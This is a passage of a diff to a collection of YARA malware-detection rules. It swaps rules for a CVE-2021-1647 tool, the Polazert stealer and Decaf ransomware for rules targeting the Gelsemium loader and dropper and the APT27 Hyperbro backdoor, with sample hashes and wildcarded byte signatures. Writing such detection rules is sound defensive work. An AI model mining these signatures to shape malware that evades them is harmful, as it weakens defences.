8d 05 3a aa 09 00 48 89 44 24 40 48 c7 44 24 60 07 00 00 00 48 89 74 24 58 66 89 74 24 48 49 83 c9 ff 45 33 c0 48 8d 54 24 20 48 8d 4c 24 48 e8 0c 5b 01 00 90 48 8d 05 e4 a8 09 00 48 89 45 80 48 8d 4d 88 ff 15 76 de 06 00 48 8d 05 ff e7 06 00 48 89 45 a0 48 89 75 a8 48 89 75 b0 48 89 75 b8 c7 45 c0 ff ff ff ff 48 8b 45 80 48 63 48 04 48 8d 05 71 9a 09 00 48 89 44 0d 80 48 8b 45 80 48 63 48 08 48 8d 05 bd ac 09 00 48 89 44 0d 80 48 8d 54 24 40 48 8d 4d 80 e8 a2 e0 02 00 48 8b d0 41 b8 01 00 00 00 48 8d 4d d0 e8 e0 05 00 00 48 8d 15 81 f8 0b 00 48 8d 4d d0 e8 a2 46 06 00 90 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 0b 00 00 00 48 8d 15 67 83 09 00 48 8d 4c 24 20 e8 95 5b 01 00 90 48 8d 54 24 20 49 8b cd e8 d7 22 01 00 49 3b c4 74 13 49 83 c9 ff 45 33 c0 49 8b d4 48 8b c8 e8 30 5a 01 00 90 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 54 dd 06 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 07 00 00 00 48 8d 15 bc 82 09 00 48 8d 4c 24 20 e8 32 5b 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 41 b8 07 00 00 00 48 8d 15 91 82 09 00 48 8d 4c 24 40 e8 07 5b 01 00 90 48 8d 54 24 20 48 8d 4d 18 e8 48 22 01 00 48 8b d8 48 8d 54 24 40 48 8b cf e8 38 22 01 00 48 3b c3 74 13 49 83 c9 ff 45 33 c0 48 8b d3 48 8b c8 e8 91 59 01 00 90 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 b5 dc 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 } condition: - uint16( 0 ) == 0x5A4D and filesize > 25KB and 4 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 300KB and 3 of ( $s* ) } -rule ARKBIRD_SOLG_EXP_CVE_2021_1647_Apr_2021_1 : CVE_2021_1647 FILE +rule ARKBIRD_SOLG_APT_Gelsemium_Gelsenicine_June_2021_1 : FILE { meta: - description = "Detect CVE-2021-1647 tool " + description = "Detect Gelsenicine malware (Loader - Variant 1)" author = "Arkbird_SOLG" - id = "c4c14d22-adf8-51b1-b898-7e253447824f" - date = "2021-05-04" - modified = "2021-05-05" - reference = "-" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-04/CVE-2021-1647/EXP_CVE_2021_1647_Apr_2021_1.yara#L1-L18" + id = "36276150-a5dd-5385-9e50-958a6fa54de5" + date = "2021-06-12" + modified = "2021-06-14" + reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsenicine_June_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "58f16973f68b1b792f6f1575b6a3f386493d033767ee97e48a33044e3ddc3426" + logic_hash = "66d9fad7105b46a55db11c5224b1a395793f2dee89f779d59c80b2f7cda5a115" score = 75 quality = 75 - tags = "CVE-2021-1647, FILE" - hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788" - hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b" - hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7" - hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a" - tlp = "Green" - adversary = "-" + tags = "FILE" + hash1 = "97982e098a4538d05e78c172c9bbc5b412754df86dc73e760004f0038ec928fb" + hash2 = "46338cae732ee1664aac77d9dce57c4ff8666460c1a51bee49cae44c86e42df9" + hash3 = "f0d23aa026ae6ba96051401dc2b390ba5c968d55c2a4b31a36e45fb67dfc2e3c" + tlp = "white" + adversary = "Gelsemium" strings: - $seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 } - $seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc } + $s1 = { b8 [3] 74 e8 [2] 00 00 81 ec bc 03 00 00 53 56 57 be [3] 74 8d bd 38 fc ff ff 6a 1b a5 a5 a5 a5 66 a5 59 33 c0 8d bd 4a fc ff ff be [3] 74 f3 ab 66 ab 8d bd b8 fc ff ff 6a 1c a5 a5 a5 a5 59 33 c0 8d bd c8 fc ff ff 6a 07 f3 ab 59 be [3] 74 8d bd 38 fd ff ff 6a 18 f3 a5 66 a5 8b 5d 0c 59 8d bd 56 fd ff ff 83 65 cc 00 f3 ab 66 ab 8a 03 6a 00 8d 4d e0 c7 45 c0 24 00 00 00 c7 45 c4 25 00 00 00 c7 45 c8 23 00 00 00 88 45 e0 ff 15 [3] 74 a1 [3] 74 8d 4d e0 ff 30 6a 00 53 ff 15 [3] 74 8a 45 0f 6a 00 8d 4d d0 c7 45 fc 01 00 00 00 88 45 d0 ff 15 [3] 74 8b 35 [3] 74 bf [3] 74 57 ff d6 59 50 57 8d 4d d0 ff 15 [3] 74 8b 55 d4 8b 0d [3] 74 85 d2 c6 45 fc 02 75 02 8b d1 8b 43 04 85 c0 75 02 8b c1 ff 75 d8 52 50 ff 15 [3] 74 83 c4 0c 85 c0 0f 85 d9 00 00 00 8d 85 b8 fd ff ff 50 68 04 01 00 00 ff 15 [3] 74 8d 85 b8 fd ff ff 50 ff d6 85 c0 59 0f 84 b5 00 00 00 8d 85 b8 fd ff ff 50 ff d6 66 83 bc 45 b6 fd ff ff 2f 59 74 56 8d 85 b8 fd ff ff 50 ff d6 66 83 bc 45 b6 fd ff ff 5c 59 74 41 8d 4d e0 ff 15 [3] 74 8b 7d e4 8b 5d d8 8d 4d e0 ff 15 [3] 74 8b 45 e4 89 45 f0 8d 85 b8 fd ff ff 50 ff d6 59 8d 84 45 b8 fd ff ff 50 8d 85 b8 fd ff ff 50 8d 44 5f fe 50 ff } + $s2 = { ff 75 0c 89 45 f0 ff d6 50 ff 75 0c ff 75 f0 ff 15 [3] 74 83 c4 10 85 c0 } + $s3 = "pluginkey" fullword wide + $s4 = { 55 8b ec 51 33 c0 56 f6 05 [3] 74 01 89 45 fc 0f 85 c6 00 00 00 8a 4d 0b 80 0d [3] 74 01 53 bb [3] 74 57 88 0d [3] 74 50 8b cb ff 15 [3] 74 8b 35 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 68 [2] e2 74 e8 [2] 00 00 59 5f 33 c0 5b 8b 75 08 8a 4d 0b 68 [3] 74 68 [3] 74 88 0e 50 8b ce 89 46 04 89 46 08 89 46 0c e8 [2] 00 00 8b c6 5e } condition: - filesize > 10KB and all of them + uint16( 0 ) == 0x5a4d and filesize > 15KB and 3 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Polazert_Apr_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Gelsemium_Gelsemine_June_2021_1 : FILE { meta: - description = "Detect Polazert stealer" + description = "Detect Gelsemine malware (Dropper - Variant 1)" author = "Arkbird_SOLG" - id = "c7766749-558f-50b8-9054-01f5c4e1238b" - date = "2021-04-11" - modified = "2021-04-11" - reference = "https://bazaar.abuse.ch/browse/tag/Polazert/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-11/Polazert/MAL_Polazert_Apr_2021_1.yar#L1-L21" + id = "cfe932fd-ff50-5e54-824c-e11afe8e8575" + date = "2021-06-12" + modified = "2021-06-14" + reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsemine_June_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "29cefeb3816435e70c706ac78395738f075f6c9f81d63e7295b0d8a6f370b51d" + logic_hash = "2b5031412de163ad92dfe00c7da331eb36c4ce7b590df48dfa84df0104e93b15" score = 75 quality = 75 tags = "FILE" + hash1 = "00b701e3ef29912c1fcd8c2154c4ae372cfe542cfa54ffcce9fb449883097cec" + hash2 = "109d4b8878b8c8f3b7015f6b3ae573a6799296becce0f32ca3bd216bee0ab473" + hash3 = "fe71b66d65d5ff9d03a47197c99081d9ec8d5f6e95143bdc33f5ea2ac0ae5762" + hash3 = "29e78ca3cb49dd2985a29e74cafb1a0a15515670da0f4881f6095fb2926bfefd" + tlp = "white" + adversary = "Gelsemium" strings: - $seq1 = { 73 ?? 00 00 0a 13 ?? 11 ?? 72 [2] 00 70 6f ?? 00 00 0a 00 11 ?? 72 [2] 00 70 11 ?? 72 [2] 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 00 11 ?? 17 6f ?? 00 00 0a 00 11 ?? 28 ?? 00 00 0a 26 } - $seq2 = { 1b 8d 0e 00 00 01 13 ?? 11 ?? 16 72 a1 03 00 70 a2 11 ?? 17 08 a2 11 ?? 18 72 53 03 00 70 a2 11 ?? 19 11 ?? a2 11 ?? 1a 72 e7 03 00 70 a2 11 ?? 28 47 00 00 0a 13 0a } - $seq3 = { 02 73 ?? 00 00 0a 28 ?? 00 00 0a 74 2a 00 00 01 [2-4] 72 65 01 00 70 6f ?? 00 00 0a 00 [1-2] 72 65 01 00 70 6f ?? 00 00 0a 00 [1-2] 72 87 01 00 70 6f ?? 00 00 0a 00 03 [1-2] 73 ?? 00 00 0a 13 } - $seq4 = { 1f 0f 8d ?? 00 00 01 13 ?? 11 ?? 16 72 ?? ?? 00 70 a2 11 ?? 17 [1-2] a2 11 ?? 18 72 [2] 00 70 a2 11 ?? 19 28 ?? 00 00 06 a2 11 ?? 1a 72 ?? ?? 00 70 a2 11 ?? 1b 28 ?? 00 00 06 a2 11 ?? 1c 72 ?? ?? 00 70 a2 11 ?? 1d 28 ?? 00 00 06 2d 07 72 ?? ?? 00 70 2b 05 72 ?? ?? 00 70 a2 11 ?? 1e 72 ?? ?? 00 70 a2 11 ?? 1f 09 28 ?? 00 00 06 2d 07 72 ?? ?? 00 70 2b 05 72 ?? ?? 00 70 a2 11 ?? 1f 0a 72 [2] 00 70 a2 11 ?? 1f 0b [1-2] 7b 01 00 00 04 a2 11 ?? 1f 0c 72 [2] 00 70 a2 11 ?? 1f 0d 28 ?? 00 00 06 a2 11 ?? 1f 0e 72 [2] 00 70 a2 11 ?? 28 ?? 00 00 0a 13 } - $seq5 = { 1f ?? 8d ?? 00 00 01 13 ?? 11 ?? 16 72 91 01 00 70 a2 11 ?? 17 1a 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 68 9d 11 ?? 17 1f 77 9d 11 ?? 18 1f 69 9d 11 ?? 19 1f 64 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 18 72 b7 01 00 70 a2 11 ?? 19 ?? [0-1] a2 11 ?? 1a 72 bf 01 00 70 a2 11 ?? 1b 28 ?? 00 00 06 a2 11 ?? 1c 72 db 01 00 70 a2 11 ?? 1d 28 ?? 00 00 06 a2 11 ?? 1e 72 f7 01 00 70 a2 11 ?? 1f 09 28 ?? 00 00 06 2d 07 72 0d 02 00 70 2b 05 72 15 02 00 70 a2 11 ?? 1f 0a 72 1d 02 00 70 a2 11 ?? 1f 0b 28 ?? 00 00 06 2d 07 72 37 02 00 70 2b 05 72 41 02 00 70 a2 11 ?? 1f 0c 72 4d 02 00 70 a2 11 ?? 1f 0d ?? 7b ?? 00 00 04 a2 11 ?? 1f 0e 72 69 02 00 70 a2 11 ?? 1f 0f 1f 09 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 6f 9d 11 ?? 18 1f 72 9d 11 ?? 19 1f 6b 9d 11 ?? 1a 1f 67 9d 11 ?? 1b 1f 72 9d 11 ?? 1c 1f 6f 9d 11 ?? 1d 1f 75 9d 11 ?? 1e 1f 70 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 1f 10 72 b7 01 00 70 a2 11 ?? 1f 11 28 ?? 00 00 06 a2 11 ?? 1f 12 72 71 02 00 70 a2 11 ?? 1f 13 1f 14 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 69 9d 11 ?? 18 1f 6e 9d 11 ?? 19 1f 33 9d 11 ?? 1a 1f 32 9d 11 ?? 1b 1f 5f 9d 11 ?? 1c 1f 63 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 70 9d 11 ?? 1f 0a 1f 75 9d 11 ?? 1f 0b 1f 74 9d 11 ?? 1f 0c 1f 65 9d 11 ?? 1f 0d 1f 72 9d 11 ?? 1f 0e 1f 73 9d 11 ?? 1f 0f 1f 79 9d 11 ?? 1f 10 1f 73 9d 11 ?? 1f 11 1f 74 9d 11 ?? 1f 12 1f 65 9d 11 ?? 1f 13 1f 6d 9d 11 ?? 28 ?? 00 00 06 1c 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 64 9d 11 ?? 17 1f 6f 9d 11 ?? 18 1f 6d 9d 11 ?? 19 1f 61 9d 11 ?? 1a 1f 69 9d 11 ?? 1b 1f 6e 9d 11 ?? 28 ?? 00 00 06 28 ?? 00 00 06 a2 11 ?? 1f 14 72 69 02 00 70 a2 11 ?? 1f 15 19 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 64 9d 11 ?? 17 1f 6e 9d 11 ?? 18 1f 73 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 1f 16 72 79 02 00 70 a2 11 ?? 1f 17 1f 14 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 69 9d 11 ?? 18 1f 6e 9d 11 ?? 19 1f 33 9d 11 ?? 1a 1f 32 9d 11 ?? 1b 1f 5f 9d 11 ?? 1c 1f 63 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 70 9d 11 ?? 1f 0a 1f 75 9d 11 ?? 1f 0b 1f 74 9d 11 ?? 1f 0c 1f 65 9d 11 ?? 1f 0d 1f 72 9d 11 ?? 1f 0e 1f 73 9d 11 ?? 1f 0f 1f 79 9d 11 ?? 1f 10 1f 73 9d 11 ?? 1f 11 1f 74 9d 11 ?? 1f 12 1f 65 9d 11 ?? 1f 13 1f 6d 9d 11 ?? 28 ?? 00 00 06 1f 0c 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 70 9d 11 ?? 17 1f 61 9d 11 ?? 18 1f 72 9d 11 ?? 19 1f 74 9d 11 ?? 1a 1f 6f 9d 11 ?? 1b 1f 66 9d 11 ?? 1c 1f 64 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 61 9d 11 ?? 1f 0a 1f 69 9d 11 ?? 1f 0b 1f 6e 9d 11 ?? 28 ?? 00 00 06 28 ?? 00 00 06 6f ?? 00 00 0a 72 7f 02 00 70 28 ?? 00 00 0a 2d 07 72 8b 02 00 70 2b 05 72 8f 02 00 70 a2 11 ?? 1f 18 } - $seq6 = { 13 30 02 00 2d 00 00 00 ?? 00 00 11 00 72 ?? ?? 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 73 ?? 00 00 0a 0a 06 72 ?? ?? 00 70 6f ?? 00 00 0a 0b 07 6f ?? 00 00 0a } - $seq7 = { 8d ?? 00 00 01 13 ?? 11 ?? 16 72 [2] 00 70 a2 11 ?? 17 [1-2] a2 11 ?? 18 72 [2] 00 70 a2 11 ?? 19 [2] a2 11 ?? 1a 72 [2] 00 70 a2 11 } - $seq8 = { 12 ?? 28 ?? 00 00 06 0f 00 28 ?? 00 00 06 d0 ?? 00 00 1b 28 ?? 00 00 0a 28 ?? 00 00 0a a5 ?? 00 00 1b [1-2] 2b 00 [1-2] 2a } - $seq9 = { 1f 10 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 47 9d 11 ?? 17 1f 65 9d 11 ?? 18 1f 74 9d 11 ?? 19 1f 54 9d 11 ?? 1a 1f 68 9d 11 ?? 1b 1f 72 9d 11 ?? 1c 1f 65 9d 11 ?? 1d 1f 61 9d 11 ?? 1e 1f 64 9d 11 ?? 1f 09 1f 43 9d 11 ?? 1f 0a 1f 6f 9d 11 ?? 1f 0b 1f 6e 9d 11 ?? 1f 0c 1f 74 9d 11 ?? 1f 0d 1f 65 9d 11 ?? 1f 0e 1f 78 9d 11 ?? 1f 0f 1f 74 9d 11 ?? 28 97 00 00 06 28 09 00 00 2b 13 } + $s1 = { 8b 44 24 04 83 ec 40 85 c0 53 55 56 57 0f 84 ec 15 00 00 8b 58 1c 85 db 0f 84 e1 15 00 00 8b 48 0c 85 c9 0f 84 d6 15 00 00 83 38 00 75 0b 8b 48 04 85 c9 0f 85 c6 15 00 00 83 3b 0b 75 06 c7 03 0c 00 00 00 8b 48 0c 8b 30 8b 78 04 8b 53 38 8b 6b 3c 89 4c 24 28 8b 48 10 8b 03 83 f8 1e 89 4c 24 20 89 74 24 14 89 7c 24 18 89 54 24 10 89 7c 24 38 89 4c 24 2c c7 44 24 34 00 00 00 } + $s2 = { 33 c0 33 d2 8a 06 8a 56 01 03 c8 33 c0 8a 46 02 03 f9 03 ca 33 d2 8a 56 03 03 f9 03 c8 33 c0 8a 46 04 03 f9 03 ca 33 d2 8a 56 05 03 f9 03 c8 33 c0 8a 46 06 03 f9 03 ca 33 d2 8a 56 07 03 f9 03 c8 33 c0 8a 46 08 03 f9 03 ca 33 d2 8a 56 09 03 f9 03 c8 33 c0 8a 46 0a 03 f9 03 ca 33 d2 8a 56 0b 03 f9 03 c8 33 c0 8a 46 0c 03 f9 03 ca 33 d2 8a 56 0d 03 f9 03 c8 33 c0 8a 46 0e 03 f9 03 ca 33 d2 8a 56 0f 03 f9 03 c8 83 c6 10 03 f9 03 ca 03 f9 4d 0f 85 67 ff ff ff 8b c1 33 d2 b9 f1 ff 00 00 f7 f1 8b c7 bf f1 ff 00 00 8b ca 33 d2 f7 f7 ff 4c 24 18 8b fa 0f 85 38 ff ff ff 85 db 0f 84 da 00 00 00 83 fb 10 0f 82 a1 00 00 00 8b eb c1 ed 04 33 d2 33 c0 8a 16 8a 46 01 03 ca 33 d2 8a 56 02 03 f9 03 c8 33 c0 8a 46 03 03 f9 03 ca 33 d2 8a 56 04 03 f9 03 c8 33 c0 8a 46 05 03 f9 03 ca 33 d2 8a 56 06 03 f9 03 c8 33 c0 8a 46 07 03 f9 03 ca 33 d2 8a 56 08 03 f9 03 c8 33 c0 8a 46 09 03 f9 03 ca 33 d2 8a 56 0a 03 f9 03 c8 33 c0 8a 46 0b 03 f9 03 ca 33 d2 8a 56 0c 03 f9 03 c8 33 c0 8a 46 0d 03 f9 03 ca 33 d2 8a 56 0e 03 f9 03 c8 33 c0 8a 46 0f 03 f9 03 ca 83 eb 10 03 f9 03 c8 03 f9 83 c6 10 } + $s3 = { 55 8b ec 6a ff 68 [2] 40 00 68 [2] 40 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 68 53 56 57 89 65 e8 33 db 89 5d fc 6a 02 5f 57 ff 15 [2] 40 00 59 83 0d [2] 41 00 ff 83 0d [2] 41 00 ff ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 a1 [2] 40 00 8b 00 a3 [2] 41 00 e8 ?? 01 00 00 39 1d [3] 00 75 0c 68 [2] 40 00 ff 15 [2] 40 00 59 e8 ?? 01 00 00 68 [3] 00 68 [3] 00 e8 ?? 01 00 00 a1 [2] 41 00 89 45 94 8d 45 94 50 ff 35 [2] 41 00 8d 45 9c 50 8d 45 90 50 8d 45 a0 50 ff 15 [2] 40 00 68 [3] 00 68 00 [2] 00 e8 ?? 01 00 00 83 c4 24 a1 [2] 40 00 8b 30 3b } condition: - uint16( 0 ) == 0x5a4d and filesize > 15KB and 3 of them + uint16( 0 ) == 0x5a4d and filesize > 150KB and all of ( $s* ) } -rule ARKBIRD_SOLG_RAN_Decaf_Nov_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT27_Hyperbro_Apr_2021_1 : FILE { meta: - description = "Detect Decaf ransomware (unpacked UPX)" + description = "Detect Hyperbro backdoor" author = "Arkbird_SOLG" - id = "d19b2d31-a6c5-5033-ba43-4e9ccabc37bb" - date = "2021-11-01" - modified = "2021-11-02" - reference = "https://blog.morphisec.com/decaf-ransomware-a-new-golang-threat-makes-its-appearance" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Decaf/RAN_Decaf_Nov_2021_1.yara#L1-L19" + id = "060a200e-17dd-5789-94d4-eeff5c2e9a18" + date = "2021-05-01" + modified = "2021-05-04" + reference = "-" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-03/APT27/APT_APT27_Hyperbro_Apr_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "5cea33d710d252b39bcd8ae227f52d10897b7fe58b1ff5226a1cb8cc094d600c" + logic_hash = "1a32ab7c30885a665ede66640a9b047e3c381f6f535243fcadf1a7a22e76f407" score = 75 - quality = 75 + quality = 35 tags = "FILE" - hash1 = "088b4715bbe986deac972d551b88f178d43b191f5a71fbd4db3fb0810a233500" - hash2 = "5da2a2ebe9959e6ac21683a8950055309eb34544962c02ed564e0deaf83c9477" - tlp = "white" - adversary = "-" + hash1 = "36fad80a5f328f487b20a3f5fc5f1902d50cbb1bd9167c44b66929a1288fc6f4" + hash2 = "52072a8f99dacd5c293fccd051eab95516d8b880cd2bc5a7e0f4a30d008e22a7" + hash3 = "9000ce3c0e01b6c80edb3af87aad8117513ce334135aa7d7b1c2afa067f4c4ab" + hash4 = "92bbcb5461ab5959e31f997a6df77995377d69f8077e43e5812fcbe9303d831c" + tlp = "White" + adversary = "APT27" strings: - $s1 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8d 54 24 ?? 8b 5c 24 ?? 48 8d 74 24 ?? 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 48 89 5c 24 18 48 89 74 24 20 89 f8 48 89 44 24 28 48 c7 44 24 30 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 38 00 74 ?? 48 8b 54 24 ?? c6 82 e5 00 00 00 00 48 8b 54 24 ?? 31 c0 } - $s2 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 89 0c 24 48 89 44 24 08 44 0f 11 7c 24 10 48 c7 44 24 20 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 28 00 74 0a 48 8b 6c 24 ?? 48 83 c4 ?? c3 e8 [3] 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 } - $s3 = { 48 83 ec 48 48 89 6c 24 40 48 8d 6c 24 40 48 89 44 24 50 48 89 5c 24 58 48 83 3d [3] 00 00 75 73 48 8b 05 45 [2] 00 48 8d 0d 66 [2] 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 04 01 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8b 44 24 18 48 85 c0 0f 84 6a 01 00 00 48 3d 04 01 00 00 0f 87 5e 01 00 00 48 8d 1d 1a [2] 00 c6 04 03 5c 4c 8d 40 01 4c 89 05 [3] 00 48 8b 44 24 50 48 8b 5c } - $s4 = { 48 89 44 24 40 c7 44 24 3c 00 00 00 00 48 8b 0d [3] 00 48 8d 54 24 3c 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 18 00 75 10 48 8b 44 24 40 8b 4c 24 68 48 8b 5c 24 60 eb 1d 48 8b 44 24 40 48 8b 5c 24 60 8b 4c 24 68 e8 8f 00 00 00 48 8b 6c 24 48 48 83 c4 50 c3 c7 44 24 38 00 00 00 00 48 8b 15 [3] 00 48 8d 74 24 38 48 89 14 24 48 89 44 24 08 48 89 5c 24 10 48 63 c1 48 89 44 24 18 48 89 74 24 20 48 c7 44 24 28 00 00 00 00 e8 } - $s5 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 42 43 67 4b 43 41 51 45 41 } + $seq1 = { 8b [5] 7? 0? [2] 0? ?? 0? [3] ff 75 0? [11] 5? [2] 0? ?? 8b } + $seq2 = { e8 ?? 0? 00 00 b0 01 c3 55 8b ec ff 75 08 ff 15 34 c0 00 10 85 c0 74 11 56 8b 30 50 e8 ?? 1? 00 00 8b c6 59 85 f6 75 f1 5e 5d c3 cc 8b 4c 24 0c 0f b6 44 24 08 8b d7 8b 7c 24 04 85 c9 0f 84 3c 01 00 00 